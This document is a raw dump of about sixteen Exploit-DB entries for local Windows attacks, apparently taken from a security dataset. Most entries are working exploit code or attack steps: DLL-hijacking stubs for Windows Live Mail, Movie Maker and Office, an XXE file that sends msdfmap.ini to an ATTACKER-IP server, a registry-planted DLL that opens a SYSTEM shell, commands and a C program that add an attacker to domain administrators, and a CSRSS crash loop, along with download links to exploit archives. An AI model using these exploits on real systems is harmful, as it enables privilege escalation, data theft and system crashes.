deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39666
Description: Microsoft Windows Kernel - 'win32k.sys' Local Privilege Escalation (MS14-058)
Type: local
Platform: windows
Date: 2016-04-05
Author: MWR InfoSecurity

Exploit:
Sources:
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-lab-exploiting-cve-2014-4113.pdf
https://github.com/sam-b/CVE-2014-4113

EDB Mirror: https://www.exploit-db.com/docs/english/39665-windows-kernel-exploitation-101-exploiting-cve-2014-4113.pdf


Trigger and exploit code for CVE-2014-4113:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39666.zip
Exploit-DB #48071
Description: Microsoft Windows Kernel - Information Disclosure
Type: local
Platform: windows
Date: 2020-01-27
Author: Bitdefender

Exploit:
# PoC for the SWAPGS attack ([CVE-2019-1125](https://nvd.nist.gov/vuln/detail/CVE-2019-1125))

This holds the sources for the SWAPGS attack PoC publicly shown at Black Hat USA, 2019.

## Contents

* leakgsbkva - variant 1 (look for random values in kernel memory; limited to PE kernel image header)
* leakgsbkvat - variant 2 (extract random values from kernel memory; limited to PE kernel image header)
* whitepaper
* Black Hat USA 2019 presentation

## Prerequisites

1. Visual Studio 2015
2. Unpatched Windows x64 (7 or newer)

## Authors

* Andrei Vlad LUȚAȘ
* Dan Horea LUȚAȘ

## Additional resources

[Video Recording of presentation at Black Hat USA, 2019](https://www.youtube.com/watch?v=uBPry7jcfBE)


Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48071.zip
Exploit-DB #14728
Description: Microsoft Windows Live Email - 'dwmapi.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-24
Author: Nicolas Krassas

Exploit:
/* 
Exploit Title: Windows Live Email DLL Hijacking Exploit ( dwmapi.dll )
Date: 24/08/2010
Author: Nicolas Krassas 
http://twitter.com/Dinosn
Version: Latest windows live suite
Tested on: Windows XP SP3
The code is based on the exploit from "TheLeader"
Vulnerable extensions: .eml .nws .rss
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void  DwmDefWindowProc() { evil(); }
DLLIMPORT void  DwmEnableBlurBehindWindow() { evil(); }
DLLIMPORT void  DwmEnableComposition() { evil(); }
DLLIMPORT void  DwmEnableMMCSS() { evil(); }
DLLIMPORT void  DwmExtendFrameIntoClientArea() { evil(); }
DLLIMPORT void  DwmGetColorizationColor() { evil(); }
DLLIMPORT void  DwmGetCompositionTimingInfo() { evil(); }
DLLIMPORT void  DwmGetWindowAttribute() { evil(); }
DLLIMPORT void  DwmIsCompositionEnabled() { evil(); }
DLLIMPORT void  DwmModifyPreviousDxFrameDuration() { evil(); }
DLLIMPORT void  DwmQueryThumbnailSourceSize() { evil(); }
DLLIMPORT void  DwmRegisterThumbnail() { evil(); }
DLLIMPORT void  DwmSetDxFrameDuration() { evil(); }
DLLIMPORT void  DwmSetPresentParameters() { evil(); }
DLLIMPORT void  DwmSetWindowAttribute() { evil(); }
DLLIMPORT void  DwmUnregisterThumbnail() { evil(); }
DLLIMPORT void  DwmUpdateThumbnailProperties() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
Exploit-DB #40861
Description: Microsoft Windows Media Center 6.1.7600 - 'ehshell.exe' XML External Entity Injection
Type: local
Platform: windows
Date: 2016-12-04
Author: hyp3rlinx

Exploit:
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-MEDIA-CENTER-XXE-FILE-DISCLOSURE.txt

[+] ISR: ApparitionSec



Vendor:
==================
www.microsoft.com



Product:
==================================
Windows Media Center "ehshell.exe"
version 6.1.7600



Vulnerability Type:
====================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Windows Media Center "ehshell.exe" is vulnerable to XML External Entity
attack allowing remote access to ANY files on a victims computer, if they
open
an XXE laden ".mcl" file via a remote share / USB or from an malicious
"windowsmediacenterweb" web link.

Sometimes 'Windows Media Center' will crash, sometimes opens normally and
other times will not open, but the files get accessed and exfiltrated.


Tested Windows 7 SP1



Exploit code(s):
===============

POC exfiltrate "msdfmap.ini" used by MS ADO Remote Data Services.


1) ATTACKER-IP listener
python -m SimpleHTTPServer 8080



2) Create the "FindMeThatBiotch.dtd" DTD file with below contents (host on
ATTACKER-IP in directory where python server is listen)

<!ENTITY % param666 "<!ENTITY &#x25; FindMeThatBiotch SYSTEM '
http://ATTACKER-IP:8080/%data666;'>">



3) Create the "EVIL.mcl" file.


<?xml version="1.0"?>
<!DOCTYPE hyp3rlinx [
<!ENTITY % data666 SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % junk SYSTEM "http://ATTACKER-IP:8080/FindMeThatBiotch.dtd">
%junk;
%param666;
%FindMeThatBiotch;
]>



4) Get victim to open the EVIL.mcl ... enjoy your files!

OR create link on webpage to run the file, but "user has to consent first".

<a href="windowsmediacenterweb://ATTACKER-IP:8080/EVIL.mcl">XXE POC</a>



Disclosure Timeline:
=======================================
Vendor Notification:  September 1, 2016
Vendor opens Case 34970: September 6, 2016
Vendor reply "Wont Fix" : October 19, 2016
December 4, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
Exploit-DB #14731
Description: Microsoft Windows Movie Maker 2.6.4038.0 - 'hhctrl.ocx' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-24
Author: TheLeader

Exploit:
/*
Exploit Title: Microsoft Windows Movie Maker <= 2.6.4038.0 DLL Hijacking Exploit (hhctrl.ocx)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://www.microsoft.com/downloads/details.aspx?FamilyID=d6ba5972-328e-4df7-8f9d-068fc0f80cfc&displaylang=en
Version: 2.6.4038.0 and prior
Tested on: Windows 7 x86 (6.1.7600)

There is a way more interesting bug there in which the program tries to load a driver file.
It's in investigation, but has a nice potential for a nastier vulnerability.
Meanwhile, enjoy =]

Instructions:
1. Create a file with the following extension: .mswmm
2. Compile this library and rename it to hhctrl.ocx
2. On the same directory of the .mswmm file, create a directory called: %SystemRoot%
3. Inside %SystemRoot%, create a directory called: System32
4. Move hhctrl.ocx into the System32 directory that you have just created
5. Open the .mswmm file and enjoy the fireworks =]

*Whispers* to all the great guys at forums.hacking.org.il
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  evil();
  return 0;
}
Exploit-DB #46536
Description: Microsoft Windows MSHTML Engine - 'Edit' Remote Code Execution
Type: local
Platform: windows
Date: 2019-03-13
Author: Eduardo Braun Prado

Exploit:
# Exploit Title:  Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execution Vulnerability

# Google Dork: N/A

# Date: March, 13 2019

# Exploit Author:  Eduardo Braun Prado

# Vendor Homepage: http://www.microsoft.com/

# Software Link: http://www.microsoft.com/

# Version: Windows 7 SP1, Server 2008, Server 2012, Server 2012 R2, 8.0, 8.1, 10 (any) with full patches up to December 2018. both x86 and x64 architectures.

# Tested on: Windows 7 SP1, Server 2008, Server 2012, Server 2012 R2, 8.0, 8.1, 10 (any) with full patches up to December 2018. both x86 and x64 architectures.

# CVE : CVE-2019-0541


The Microsoft Windows MSHTML Engine is prone to a vulnerability that allows attackers to execute arbitrary code on vulnerable systems because of improper validation
of specially crafted web documents (html, xhtml, etc). The issue is triggered when users "Edit" specially crafted documents containing a 'meta' HTML tag set to 'ProgId' and its content set to a 'ProgId' of choice eg. 'HTAFILE', usually through MS IE browser or a MS Office
component (The Edit HTML app 'msohtmed.exe'). Some Office versions will add an "Edit" menu option to html and xhtml files, making it possible to exploit the vulnerability locally or remotely (usually through network shares)
This is the 'ProgId' exploit: Similar to the old Windows Shell / Internet Explorer ClassId vulnerabilit(ies) that haunted Windows 98/2000/XP in the past.'.
On patched systems, the PoC file will always open in Notepad.


Video demo: https://youtu.be/OdEwBY7rXMw


Download PoC (in ZIP archive) with full details from: https://onedrive.live.com/?id=AFCB9116C8C0AAF4%21366&cid=AFCB9116C8C0AAF4


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46536.zip
Exploit-DB #21130
Description: Microsoft Windows NT 3/4.0 - CSRSS Memory Access Violation
Type: local
Platform: windows
Date: 2001-10-26
Author: Michael Wojcik

Exploit:
// source: https://www.securityfocus.com/bid/3478/info

CSRSS.EXE is the Windows NT Client Server Run-time Subsystem. It is responsible for console windows and the creation and deletion of threads. The Windows NT kernel is dependant on this service and will halt if the service stops for any reason.

If certain combinations of special "whitespace" characters followed by "backspace" characters are output in high-level console I/O, a user could successfully crash a Windows NT, 2000, or XP system. 

#include <stdio.h>

int main(void)
{
while (1)
printf("\t\t\b\b\b\b\b\b");
return 0;
}
Exploit-DB #20317
Description: Microsoft Windows NT 4.0 - MSIEXEC Registry Permissions
Type: local
Platform: windows
Date: 2000-10-23
Author: Mnemonix

Exploit:
// source: https://www.securityfocus.com/bid/1835/info

Due to weak permission settings for the registry key that handles the Microsoft Installer Service (MSIEXEC), it is possible for a local user on Windows NT to escalate their privilege level. 

The file extension associated with the Microsoft Installer Service is *.msi. Once a *.msi file is executed, the DLL specified under the following registry key is read:

HKLM\Software\Classes\CLSID\{000C103E-0000-0000-C[PII_REDACTED]00046}\InProcServer32

By default, it is C:\winnt\system32\msi.dll. Any user who is able to log on locally to the system may modify the value of the registry key. A malicious user can gain full control over the system if they were to create their own DLL that exports the function DllGetClassObject() and point the registry key to the specially formed DLL rather than msi.dll.

The following code inserted into a DLL will provide Interactive command shell with SYSTEM privileges when a user executes a MSI file:

#include <stdio.h>

__declspec(dllexport)int DllGetClassObject()
{
system("cmd.exe");
return 0;
}
Exploit-DB #19739
Description: Microsoft Windows NT 4.0 - Recycle Bin Pre-created Folder
Type: local
Platform: windows
Date: 2000-02-01
Author: Arne Vidstron & Nobuo Miwa

Exploit:
Microsoft Windows NT 4.0/SP1/SP2/SP3/SP4/SP5/SP6 Recycle Bin Pre-created Folder Vulnerability

source: https://www.securityfocus.com/bid/963/info


When an NT user uses the Recycle Bin for the first time on a given partition, a folder is created in the \Recycler folder on that partition with the name of the new folder set to the user's SID. When this happens, appropriate permissions are set to prevent other users from accessing files in that folder. However, if that folder does not yet exist, a local attacker can create it, set arbitrary permissions, and then later access any files deleted by the user. The files themselves will retain their original permissions, but if the attacker gives him/herself Full Access to the user's Recycler folder they can overwrite files with arbitrary content.

This vulnerability only applies to NTFS partitions, as there is no local access control on any files on a FAT partition. 

This exploit will create a range of folders in th e\Recyycler folder of the selected partition, with names based on projected SID numbers erived from the user's own SID.

Usage: RecyclerSnooper #_of_folders driveletter
Example: RecyclerSnooper 200 C 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19739.exe
Exploit-DB #19798
Description: Microsoft Windows NT 4.0 - User Shell Folders
Type: local
Platform: windows
Date: 2000-03-09
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/1042/info


The registry value 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Startup 

specifies the shared startup folder for all users on a system. This key is set to be writeable by any authenticated user. Therefore, any user could specify a folder with a shortcut to a program of their choice that will be run any time a user logs in, at the privilege level of that user.

Example: 

On a Domain Controller, a batch file containg the following commands:
--
net user attacker /add /domain
net group administrators attacker /add /domain
--
could be put into the folder c:\hackstartup.
Then the registry value 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Startup 
could be set to the string "c:\hackstartup".
The next time an administrator logs on to that machine, the 'attacker' account will be created and added to the Administrators group on the PDC of the domain.
Exploit-DB #19198
Description: Microsoft Windows NT 4.0 SP4 - Known DLL Cache
Type: local
Platform: windows
Date: 1999-02-18
Author: L0pht

Exploit:
source: https://www.securityfocus.com/bid/234/info

The names and mappings of kernel objects in NT are cached in the "object namespace". In this area, DLL mappings are kept in a section called KnownDlls. By manipulating the namespace, it is possible to redirect calls to arbitrary dlls.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19198.zip
Exploit-DB #20232
Description: Microsoft Windows NT 4.0/2000 - DLL Search Path
Type: local
Platform: windows
Date: 2000-09-18
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/1699/info

When a program executes under Microsoft Windows, it may require additional code stored in DLL library files. These files are dynamically located at run time, and loaded if necessary. A weakness exists in the algorithm used to locate these files.

The search algorithm used to locate DLL files specifies that the current working directory is checked before the System folders. If a trojaned DLL can be inserted into the system in an arbitrary location, and a predictable executable called with the same current working directory, the trojaned DLL may be loaded and executed. This may occur when a data file is accessed through the 'Run' function, or double clicked in Windows Explorer.

This has been reported to occur with the 'riched20.dll' and 'msi.dll' DLL files and some Microsoft Office applications, including WordPad.

This behavior has also been reported for files loaded from UNC shares, or directly from FTP servers. 

// dll1.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include "stdlib.h"

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
   switch( ul_reason_for_call ) 
    { 
        case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
			MessageBox(NULL, "Hello world!", "Info", MB_OK);
			MessageBox(NULL, "Shall try to start: C:\\TEST.EXE\n You may need to create it.", "Info", MB_OK);
			system("C:\\TEST.EXE");
            break;

        case DLL_THREAD_ATTACH:
        // Do thread-specific initialization.
		//	MessageBox(NULL, "DllMain.dll: DLL_THREAD_ATTACH", "Info", MB_OK);
            break;

        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }

    return TRUE;
}

1) Rename dll1.dll to riched20.dll
2) Place riched20.dll in a directory of your choice
3) Close all Office applications
4) From Windows Explorer double click on an Office document (preferably MS Word document) in the directory containg riched20.dll
Exploit-DB #21344
Description: Microsoft Windows NT 4.0/2000 - Process Handle Local Privilege Escalation
Type: local
Platform: windows
Date: 2002-03-13
Author: EliCZ

Exploit:
source: https://www.securityfocus.com/bid/4287/info

A vulnerability in Microsoft Windows 2000 and NT 4 could allow a user to gain SYSTEM-level privileges on the local host.

The debugging subsystem, which is available to all users, may be used to create duplicate handles to a privileged process. This may allow an application with minimal privileges to execute arbitrary code with the privileges of the process that is accessed.

05/06/2002: There have been reports of a mass-mailing worm that exploits this vulnerability using the proof-of-concept exploit. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21344.zip
Exploit-DB #20265
Description: Microsoft Windows NT 4.0/2000 - Spoofed LPC Request (MS00-003)
Type: local
Platform: windows
Date: 2000-10-03
Author: BindView's Razor Team

Exploit:
source: https://www.securityfocus.com/bid/1753/info

This vulnerability is a new variation of the NT LPC Privilege Escalation Vulnerabilty (please see https://www.securityfocus.com/bid/934 for details) reported on January 12, 2000 by Bindview. The patch released by Microsoft (http://www.microsoft.com/technet/security/bulletin/ms00-003.asp) on January 12, 2000 does not address these new issues.

A number of restrictions apply to this new variation of the spoofed LPC replies vulnerability. Only presently running processes can be impersonated and the LPC identifier must be specified. As well, in order to successfully exploit this vulnerability, the request must be conducted at the same time as when the LPC call was made.

Successful exploitation could lead to privilege escalation on the local machine.

These vulnerabilities can only be launched against a machine a user can interactively log onto, therefore remote exploitation is not possible.

start porttool -s \BaseNamedObjects\Foo
start porttool -c \BaseNamedObjects\Foo
porttool -s3 \BaseNamedObjects\Foo2
(enter PID, TID, MID from porttool -s ...) 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20254.zip
Exploit-DB #19145
Description: Microsoft Windows NT 4.0/4.0 SP1/4.0 SP2/4.0 SP3/4.0 SP4 - Server Operator to Administrator Privilege Escalation: System Key
Type: local
Platform: windows
Date: 1999-01-11
Author: Mnemonix

Exploit:
// source: https://www.securityfocus.com/bid/182/info

The default ACL over the HKEY_Local_Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon key "System" value includes an entry for Server Operators:Special. The Special setting allows Server Ops to "Set" this value. A malicious System Operator could place reference to a trojan in this entry. This trojan would be executed under system privileges the next time the system is booted. As the trojan has been called by the system, the system account has privileges to execute code that would elevate the permission of a selected account to "administrator".

Due to the command parsing in this registry key, it is not possible to execute anything "interactive" (ie User Manager, Server Manager), anything with command line arguments, or anything that attempts to interact with the LSASS immediately after logon. Sample code has been posted in the exploit section that will perform privilege escalation without any of the above limitations. 

/* GetadmforSops.exe - David Litchfield 11 Jan 1999 */
/* Compile with eg Visual C++ and link with netapi32.lib */

#define UNICODE
#include <windows.h>
#include <wchar.h>
#include <lmaccess.h>
#include <winbase.h>

int __cdecl wmain (void)
{
LPWSTR group = L"Domain Admins";
LPWSTR acc = L"acc_name";

NET_API_STATUS nas=0;

_sleep(180000);
if( (nas=NetGroupAddUser(NULL, group, acc)) == 0)
{
wprintf(L"Success");
return 0;
}
return 0;
}
Exploit-DB #19196
Description: Microsoft Windows NT 4.0/4.0 SP1/4.0 SP2/4.0 SP3/4.0 SP4/4.0 SP5 - RAS Dial-up Networking Save Password
Type: local
Platform: windows
Date: 1998-03-19
Author: Martin Dolphin

Exploit:
source: https://www.securityfocus.com/bid/232/info

Windows NT allows users to save their RAS (and/or RRAS) credentials by using the 'Save Password' checkbox when making a dial-up connection. Credentials saved in this manner are stored in the HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\RasCredentials!SID#0 registry key.

These credentials can be enumerated using the LSA secrets code, as published by Paul Ashton.

If a user does not check the 'save password' checkbox to prevent the password from being stored, RAS will STILL save the successful connection information. This information includes the Dial-up username, phone number, and password, and is stored in the HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\RasDialParams!SID#0 registry key.

This infromation can be enumerated using the LSA secrets code.

NOTE: Administrator privileges are needed to execute the LSA secrets code. 

Execute LSA Secrets (or similar) code against the HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\RasDialParams!SID#0 registry key. Refer to NT LSA Secrets Vulnerability, July 16,1997 (http://www.exploit-db.com/exploits/19195/)